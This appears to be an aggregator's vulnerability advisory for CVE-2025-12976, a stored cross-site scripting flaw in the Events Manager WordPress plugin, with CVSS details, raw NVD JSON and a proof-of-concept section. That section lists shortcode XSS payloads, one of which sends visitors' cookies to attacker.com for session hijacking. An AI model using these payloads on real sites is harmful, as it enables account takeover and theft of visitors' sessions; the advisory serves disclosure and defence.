Security Vulnerability Report
中文
CVE-2025-12976 CVSS 6.4 MEDIUM

CVE-2025-12976

Published: 2025-12-18 08:15:49
Last Modified: 2026-04-15 00:35:42

Description

The Events Manager – Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'events_list_grouped' shortcode in all versions up to, and including, 7.2.2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Events Manager WordPress插件 <= 7.2.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-12976 Stored XSS via events_list_grouped shortcode --> <!-- Authenticated attacker with contributor-level access or higher --> <!-- Basic XSS injection via shortcode attribute --> [events_list_grouped limit='1" onmouseover="alert(document.cookie)" x="'] <!-- More sophisticated payload - session hijacking --> [events_list_grouped scope='future" onload="fetch(\'https://attacker.com/steal?c=\'+document.cookie)" x="'] <!-- Filter bypass payload --> [events_list_grouped category='test<img src=x onerror=alert(1)>'] <!-- Context-specific exploitation --> [events_list_grouped format='<li>{event_name}</li>' orderby='" autofocus onfocus="alert(document.domain)" x="']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12976", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:49.127", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Events Manager – Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'events_list_grouped' shortcode in all versions up to, and including, 7.2.2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/events-manager/tags/7.2.2.1/classes/em-events.php#L423", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/events-manager/tags/7.2.2.1/em-functions.php#L933", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/events-manager/tags/7.2.2.1/em-shortcode.php#L119", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/events-manager/tags/7.2.2.1/templates/templates/events-list-grouped.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3413776/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/17e853b2-c7ab-478c-9c89-d8e3a42d1a42?source=cve", "source": "[email protected]"}]}}